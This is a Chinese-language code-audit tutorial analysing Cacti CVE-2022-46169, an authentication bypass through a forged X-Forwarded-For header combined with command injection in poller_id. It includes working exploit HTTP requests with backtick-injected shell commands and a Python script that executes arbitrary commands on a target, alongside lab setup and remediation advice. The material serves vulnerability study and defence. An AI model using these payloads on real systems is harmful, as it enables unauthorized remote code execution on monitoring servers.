PHP代码审计其一:Cacti CVE-2022-46169
字数 1261 2025-08-11 08:36:11
Cacti CVE-2022-46169 漏洞分析与利用教学
漏洞概述
CVE-2022-46169 是 Cacti 监控系统中的一个高危漏洞,包含两个关键安全问题:
- 未授权访问漏洞 - 由于
break 2的错误使用导致认证绕过 - 命令注入漏洞 - 通过
proc_open函数直接拼接用户输入导致远程命令执行
该漏洞影响版本:Cacti <= 1.2.22
漏洞分析
1. 命令注入点分析
漏洞核心代码位于 remote_agent.php 中的 poll_for_data() 函数:
case POLLER_ACTION_SCRIPT_PHP:
$cactides = array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'w') // stderr
);
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' .
$config['base_path'] . '/script_server.php realtime ' . $poller_id,
$cactides, $pipes);
$output = fgets($pipes[1], 1024);
关键问题:
$poller_id直接拼接进命令字符串- 未对用户输入进行过滤,可通过管道符
|或反引号`注入命令
2. 触发条件分析
要触发命令注入需要满足以下条件:
-
需要三个参数:
local_data_ids[](数组)host_idpoller_id(命令注入点)
-
需要
$item['action'] == 2(POLLER_ACTION_SCRIPT_PHP) -
需要绕过认证检查
3. 认证绕过分析
认证检查函数 remote_client_authorized() 存在问题:
function remote_client_authorized() {
$client_addr = get_client_addr();
// ...
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
}
}
get_client_addr() 函数存在逻辑缺陷:
function get_client_addr($client_addr = false) {
$http_addr_headers = array('X-Forwarded-For', 'X-Client-IP', ...);
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
// ...
break 2; // 错误地跳出两层循环
}
}
return $client_addr;
}
利用方法:
- 通过伪造
X-Forwarded-For头为127.0.0.1绕过认证
漏洞利用
1. 基本利用 (无回显)
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost
2. 带命令回显的利用
利用 PHP 管道特性,构造特殊输出格式:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo+"\r\n1:$(id)"` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost
其他回显构造方法:
- 使用
xxd或base64编码输出 - 使用
awk或sed格式化输出
3. 自动化利用脚本
import requests
target = "http://target.com"
cmd = "id"
headers = {
"X-Forwarded-For": "127.0.0.1",
"Host": "localhost"
}
params = {
"action": "polldata",
"local_data_ids[0]": "6",
"host_id": "1",
"poller_id": f"`echo -e \"\\r\\n1:$({cmd})\"`"
}
r = requests.get(f"{target}/remote_agent.php", params=params, headers=headers)
print(r.text)
环境搭建与复现
- 使用 Docker 快速搭建环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CVE-2022-46169
docker-compose up -d
- 复现步骤:
- 访问
http://localhost:8080完成 Cacti 安装 - 创建新设备和新图形
- 使用上述 payload 进行测试
漏洞修复
- 升级到 Cacti 1.2.23 或更高版本
- 临时修复方案:
- 对
poller_id参数进行严格过滤 - 修复
get_client_addr()函数中的逻辑错误 - 使用
escapeshellarg()处理命令参数
- 对
深入分析
1. 如何生成 action=2 的记录
需要通过以下步骤创建有效数据:
- 创建新设备
- 创建新图形,选择类型为 "PHP Script Server" 的模板
- 这会在数据库中创建
action=2的记录
SQL 查询确认:
SELECT di.id, di.type_id, dtd.id
FROM data_template_data AS dtd
INNER JOIN data_input AS di ON dtd.data_input_id=di.id
WHERE di.type_id=5
2. 完整的调用链分析
graphs_new.php
form_save()
html_graph_new_graphs()
create_save_graph()
/lib/template.php
push_out_host()
update_poller_cache() # 设置action=2
poller_update_poller_cache_from_buffer()
总结与思考
-
漏洞关键点:
- 命令拼接导致的注入
- 认证逻辑缺陷
- 复杂的触发条件
-
审计技巧:
- 关注敏感函数如
proc_open,system,exec等 - 跟踪用户输入流向
- 注意认证逻辑中的边界条件
- 关注敏感函数如
-
防御建议:
- 永远不要直接拼接用户输入到命令中
- 使用白名单验证输入
- 对敏感操作进行严格权限控制